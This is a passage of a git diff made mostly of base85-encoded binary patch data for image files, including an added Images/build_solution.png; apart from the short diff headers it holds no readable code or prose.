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 literal 0 HcmV?d00001 diff --git a/Images/build_solution.png b/Images/build_solution.png new file mode 100644 index 0000000000000000000000000000000000000000..631ea91d2520fcc5537b01e6556a20139d74d21a GIT binary patch literal 37922 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 